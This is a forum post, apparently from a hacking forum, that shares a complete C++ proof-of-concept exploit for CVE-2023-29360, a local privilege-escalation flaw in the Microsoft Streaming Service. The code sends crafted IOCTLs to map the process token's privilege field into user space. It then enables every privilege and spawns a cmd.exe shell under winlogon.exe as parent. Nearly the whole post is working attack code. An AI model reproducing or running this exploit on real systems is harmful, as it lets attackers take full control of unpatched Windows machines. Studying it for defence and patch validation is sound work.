• XSS.stack #1 – первый литературный журнал от юзеров форума

Local LPE, Microsoft Streaming Service, CVE-2023-29360

Vexer2k

X-pert
Эксперт
Регистрация
17.06.2021
Сообщения
52
Реакции
72
Since I didn't see any public PoC being developed for this vulnerability I decided to write my own. Here https://github.com/Nero22k/cve-2023-29360

Types.h
C++:
#pragma once
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <Psapi.h>
#include <stdint.h>

#define IOCTL_IniContextRendezv 0x2F0400
#define IOCTL_ZwUpdateWnfStateData 0x2F0428
#define IOCTL_RegisterContext 0x2F041C
#define IOCTL_FSUpdateCamerStreamingConsent 0x2F042C
#define IOCTL_KSPropertyHandle 0x2F0003
#define IOCTL_InitializeStream 0x2F0404
#define IOCTL_RegisterStream 0x2F0420
#define IOCTL_PublishTx 0x2F0408
#define IOCTL_ConsumeTx 0x2F0410

#define OFFSET_OF_TOKEN_PRIVILEGES 0x40 // Windows X >= Windows Vista

#define SystemModuleInformation (SYSTEM_INFORMATION_CLASS)11
#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

#pragma pack(push, 1)
typedef struct _EvilBuffer {
    uint64_t size;
    uint64_t txsize;
    uint64_t rxsize;
    uint32_t txcount;
    uint32_t rxcount;
    uint64_t value;
    uint64_t value2;
    uint64_t virtualAddress1;
    uint64_t timestamp;
    uint64_t field9;
    uint64_t virtualAddress2;
    uint64_t field10;
    uint64_t size1;
    uint64_t virtualAddress3;
    uint64_t size2;
    uint32_t Priority;
    uint32_t flag;
    uint64_t resolution;
    uint64_t field11;
    uint64_t field12;
    uint64_t format;
    uint64_t field13;
    uint64_t dimension;
    uint64_t field14;
    uint8_t reserved2[0x110];
} EvilBuffer;

typedef struct _ConsumeTxOut {
    uint64_t size;
    uint64_t txsize;
    uint64_t rxsize;
    uint32_t txcount;
    uint32_t rxcount;
    uint64_t value;
    uint64_t counter;
    uint64_t empty1;
    uint64_t empty2;
    uint64_t empty3;
    uint8_t *PageVaAddressRW;
    uint64_t empty5;
    uint64_t empty6;
    uint8_t *PageVaAddressR;
    uint8_t reserved2[0xF68];
} ConsumeTxOut;
#pragma pack(pop)

typedef struct _MY_IRP
{
    uint64_t Type;
    PVOID CurrentProcId;
    uint64_t Flags;
    HANDLE hEvent;
} MY_IRP;

typedef struct _PublishTxOut
{
    uint64_t txsize;
    uint64_t rxsize;
    uint32_t txcount;
    uint32_t rxcount;
} PublishTxOut;

typedef struct _InputBuffer
{
    uint64_t Type;
    PVOID CurrentProcId;
    uint64_t Flags;
    uint64_t qword18;
    uint64_t qword20;
    HANDLE hEvent;
} InputBuffer;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    unsigned short UniqueProcessId;
    unsigned short CreatorBackTraceIndex;
    unsigned char ObjectTypeIndex;
    unsigned char HandleAttributes;
    unsigned short HandleValue;
    void* Object;
    unsigned long GrantedAccess;
    long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    unsigned long NumberOfHandles;
    struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;


client.cpp
C++:
#define __STREAMS__
#include "Types.h"
#include <ks.h>
#include <Dshow.h>
#include <ksproxy.h>

#pragma comment(lib, "Ksproxy.lib")
#pragma comment(lib, "ntdll.lib")

DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196", KSNAME_Server);
#define KSNAME_Server DEFINE_GUIDNAMED(KSNAME_Server)

BOOL FSRegisterStream(HANDLE hDevice)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;
    HANDLE hEvent;
    InputBuffer inbuff = { 0 };

    uint32_t high = 0x14;
    uint32_t low = 0x0;

    hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
    if (hEvent == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] CreateEventW failed\n");
        return FALSE;
    }

    inbuff.Type = 2;
    inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
    inbuff.Flags = 0x000000136FE7474D;
    inbuff.qword18 = ((uint64_t)high << 32) | (uint64_t)low;
    inbuff.qword20 = 0x40000;
    inbuff.hEvent = hEvent;

    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_RegisterStream, &inbuff, sizeof(InputBuffer), 0, 0);

    if (status == 0)
    {
        CloseHandle(hEvent);
        return TRUE;
    }
    else
    {
        wprintf(L"[!] FSRegisterStream failed with 0x%X\n", status);
        CloseHandle(hEvent);
        return FALSE;
    }
}

BOOL FSInitializeStream(HANDLE hDevice)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;
    HANDLE hEvent;
    InputBuffer inbuff = { 0 };

    uint32_t high = 0x14;
    uint32_t low = 0x0;

    hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
    if (hEvent == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] CreateEventW failed\n");
        return FALSE;
    }

    inbuff.Type = 1;
    inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
    inbuff.Flags = 0x000000136FE7474D;
    inbuff.qword18 = ((uint64_t)high << 32) | (uint64_t)low;
    inbuff.qword20 = 0x40000;
    inbuff.hEvent = hEvent;


    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_InitializeStream, &inbuff, sizeof(InputBuffer), 0, 0);

    if (status == 0)
    {
        CloseHandle(hEvent);
        return TRUE;
    }
    else
    {
        wprintf(L"[!] FSInitializeStream failed with 0x%X\n", status);
        CloseHandle(hEvent);
        return FALSE;
    }
}


BOOL FSInitializeContextRendezvous(HANDLE hDevice)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;
    DWORD dwbytesreturned = 0;
    
    MY_IRP inbuff = { 0 };

    inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
    inbuff.Type = 1;
    inbuff.Flags = 0x000000136FE7474D;

    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_IniContextRendezv, &inbuff, sizeof(MY_IRP), NULL, NULL);

    if (status == NOERROR)
    {
        return TRUE;
    }
    else
    {
        wprintf(L"[!] FSInitializeContextRendezvous failed with 0x%X\n", status);
        return FALSE;
    }
}

BOOL FSRendezvousServerRegisterContext(HANDLE hDevice)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;
    DWORD dwbytesreturned = 0;
    HANDLE hEvent;

    hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
    if (hEvent == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] CreateEventW failed\n");
        return FALSE;
    }

    MY_IRP inbuff = { 0 };

    inbuff.Type = 2;
    inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
    inbuff.Flags = 0x000000136FE7474D;
    inbuff.hEvent = hEvent;

    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_RegisterContext, &inbuff, sizeof(MY_IRP), NULL, NULL);

    if (status == NOERROR)
    {
        CloseHandle(hEvent);
        return TRUE;
    }
    else
    {
        wprintf(L"[!] FSRendezvousServerRegisterContext failed with 0x%X\n", status);
        CloseHandle(hEvent);
        return FALSE;
    }
}

uint64_t GetTokenAddress()
{
    NTSTATUS status;
    HANDLE currentProcess = GetCurrentProcess();
    HANDLE currentToken = NULL;
    uint64_t tokenAddress = 0;
    ULONG ulBytes = 0;
    PSYSTEM_HANDLE_INFORMATION handleTableInfo = NULL;

    BOOL success = OpenProcessToken(currentProcess, TOKEN_QUERY, &currentToken);
    if (!success)
    {
        wprintf(L"[!] Couldn't open a handle to the current process token. (Error code: %d)\n", GetLastError());
        return 0;
    }
    // Allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
    while ((status = NtQuerySystemInformation(SystemHandleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        if (handleTableInfo != NULL)
        {
            handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
        }

        else
        {
            handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
        }
    }

    if (status == 0)
    {
        // iterate over the system's handle table and look for the handles beloging to our process
        for (ULONG i = 0; i < handleTableInfo->NumberOfHandles; i++)
        {
            // if it finds our process and the handle matches the current token handle we already opened, print it
            if (handleTableInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() && handleTableInfo->Handles[i].HandleValue == (USHORT)currentToken)
            {
                tokenAddress = (uint64_t)handleTableInfo->Handles[i].Object;
                break;
            }
        }
    }
    else
    {
        if (handleTableInfo != NULL)
        {
            wprintf(L"[!] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
            HeapFree(GetProcessHeap(), 0, handleTableInfo);
            CloseHandle(currentToken);
            return 0;
        }
    }

    HeapFree(GetProcessHeap(), 0, handleTableInfo);
    CloseHandle(currentToken);

    return tokenAddress;
}

BOOL PublishTx(HANDLE hDevice, uint64_t TokenAddr)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;

    EvilBuffer inbuffer = { 0 };
    PublishTxOut outbuffer = { 0 };
    // There will be two pages mapped to user space one with RW and one with R
    // we could map the system TOKEN to the R only page and our process token to the RW page
    // then overwrite it with system token
    inbuffer.size = sizeof(EvilBuffer);
    inbuffer.value = ((uint64_t)0x1 << 32) | (uint64_t)0x3;
    inbuffer.value2 = 0x1;
    inbuffer.virtualAddress2 = TokenAddr; //RW
    inbuffer.size1 = ((uint64_t)0x1000 << 32) | (uint64_t)0x140;
    inbuffer.virtualAddress3 = TokenAddr; // R
    inbuffer.size2 = ((uint64_t)0x1000 << 32) | (uint64_t)0x140;
    inbuffer.flag = 0x10000000;            // Important value do not change it otherwise the page will be mapped as read only
    inbuffer.Priority = 0x00000004;             // Important value do not change

    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_PublishTx, &inbuffer, sizeof(EvilBuffer), &outbuffer, sizeof(PublishTxOut));

    if (status == NOERROR)
    {
        wprintf(L"[+] PublishTx stats[txsize:%I64d,rxsize:%I64d,txcount:%d,rxcount:%d]\n",
            outbuffer.txsize,
            outbuffer.rxsize,
            outbuffer.txcount,
            outbuffer.rxcount);
        return TRUE;
    }
    else
    {
        wprintf(L"[!] PublishTx failed with 0x%X\n", status);
        return FALSE;
    }
}

BOOL ConsumeTx(HANDLE hDevice, uint8_t **Addr)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;

    ConsumeTxOut inbuffer = { 0 };

    // Allocate memory in user mode
    PVOID Inbuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (Inbuffer == NULL) {
        wprintf(L"[!] VirtualAlloc failed with 0x%X\n", GetLastError());
        return FALSE;
    }
    
    wprintf(L"[+] VirtualAlloc buffer => %p\n", Inbuffer);

    inbuffer.size = 0x1000;
    inbuffer.value = 0x6;

    memcpy(Inbuffer, &inbuffer, 0x30);

    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_ConsumeTx, Inbuffer, sizeof(ConsumeTxOut), Inbuffer, sizeof(ConsumeTxOut));

    if (status == NOERROR)
    {
        memcpy(&inbuffer, Inbuffer, 0x68);
        wprintf(L"[+] ConsumeTx stats[txsize:%I64d,rxsize:%I64d,txcount:%d,rxcount:%d]\n",
            inbuffer.txsize,
            inbuffer.rxsize,
            inbuffer.txcount,
            inbuffer.rxcount);
        *Addr = inbuffer.PageVaAddressRW;
        return TRUE;
    }
    else
    {
        wprintf(L"[!] ConsumeTx failed with 0x%X\n", status);
        return FALSE;
    }
}

DWORD getProcessId(const wchar_t* process)
{
    HANDLE          hSnapShot;
    PROCESSENTRY32  pe32;
    DWORD           pid;


    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnapShot == INVALID_HANDLE_VALUE)
    {
        printf("\n[-] Failed to create handle CreateToolhelp32Snapshot()\n\n");
        return -1;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapShot, &pe32) == FALSE)
    {
        printf("\n[-] Failed to call Process32First()\n\n");
        return -1;
    }

    do
    {
        if (_wcsicmp(pe32.szExeFile, process) == 0)
        {
            pid = pe32.th32ProcessID;
            return pid;
        }
    } while (Process32Next(hSnapShot, &pe32));

    CloseHandle(hSnapShot);
    return 0;
}


int spawnShell()
{
    const wchar_t* process = L"winlogon.exe";
    DWORD     pid;
    HANDLE    hProcess;
    HANDLE    hThread;
    LPVOID    ptrtomem;


    pid = getProcessId(process);

    if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL)
    {
        wprintf(L"\n[-] Unable to open %ws process\n\n", process);
        return -1;
    }
    wprintf(L"\n[+] Opened %ws process pid=%d with PROCESS_ALL_ACCESS rights", process, pid);

    SIZE_T size;
    STARTUPINFOEXW siex = { 0 };
    siex.StartupInfo.cb = sizeof(siex);
    siex.lpAttributeList = NULL;
    
    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
    InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &size);
    
    UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(hProcess), NULL, NULL);
    
    PROCESS_INFORMATION pi;
    WCHAR cmdPath[] = L"C:\\Windows\\System32\\cmd.exe";
    if (!CreateProcessW(NULL, cmdPath, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&siex, &pi)) {
        wprintf(L"[-] Failed to create new process.\n");
        wprintf(L"    |-> %d\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
        return FALSE;
    }
    
    wprintf(L"[+] New process is created successfully.\n");
    
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);

    return 0;
}


int main()
{
    uint64_t tokenAddress = 0;

    HANDLE DeviceH1, DeviceH2, DeviceH3;
    HRESULT hr;

    hr = KsOpenDefaultDevice(KSNAME_Server, GENERIC_READ | GENERIC_WRITE, &DeviceH1);

    if (hr != NOERROR) {
        wprintf(L"Error: %ld\n", hr);
        return 1;
    }

    hr = KsOpenDefaultDevice(KSNAME_Server, GENERIC_READ | GENERIC_WRITE, &DeviceH2);

    if (hr != NOERROR) {
        wprintf(L"Error: %ld\n", hr);
        return 1;
    }

    hr = KsOpenDefaultDevice(KSNAME_Server, GENERIC_READ | GENERIC_WRITE, &DeviceH3);

    if (hr != NOERROR) {
        wprintf(L"Error: %ld\n", hr);
        return 1;
    }

    wprintf(L"[+] Successfully got a handle 1 => %p\n", DeviceH1);
    wprintf(L"[+] Successfully got a handle 2 => %p\n", DeviceH2);
    wprintf(L"[+] Successfully got a handle 3 => %p\n", DeviceH3);

    tokenAddress = GetTokenAddress();

    uint64_t privaddr = tokenAddress + OFFSET_OF_TOKEN_PRIVILEGES;

    if (tokenAddress)
    {
        wprintf(L"[+] Target process TOKEN address: %llx\n", tokenAddress);
        wprintf(L"[+] Target process _SEP_TOKEN_PRIVILEGES address: %llx\n", privaddr);
    }

    BOOL success = FALSE;


    success = FSInitializeContextRendezvous(DeviceH1);

    if (success)
    {
        wprintf(L"[^] InitializeContextRendezvous successfully\n");
    }

    success = FSInitializeStream(DeviceH2);

    if (success)
    {
        wprintf(L"[^] FSInitializeStream successfully\n");
    }
    

    success = FSRegisterStream(DeviceH3);

    if (success)
    {
        wprintf(L"[^] FSRegisterStream successfully\n");
    }
    
    success = PublishTx(DeviceH3, privaddr);

    if (success)
    {
        wprintf(L"[^] PublishTx successfully\n");
    }
    
    uint8_t *mappedAddress = NULL;

    success = ConsumeTx(DeviceH3, &mappedAddress);

    if (success)
    {
        wprintf(L"[^] ConsumeTx successfully\n");
    }

    uint64_t address = (uint64_t)mappedAddress;
    uint64_t baseAlignment = 0x1000;

    // Align the address
    uint64_t alignedAddress = address & ~(baseAlignment - 1);

    wprintf(L"[+] Aligned VA Base Address => %p\n", (void*)alignedAddress);
    wprintf(L"[+] VA Token Address => %p\n", mappedAddress);

    if(mappedAddress != NULL)
    {
        // Enable all privileges
        memset(mappedAddress, 0xFF, 0x10);
        spawnShell();
    }

    CloseHandle(DeviceH1);
    CloseHandle(DeviceH2);
    CloseHandle(DeviceH3);

    return 0;
}
 
Последнее редактирование модератором:
Скрытый контент для пользователей: Vexer2k.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх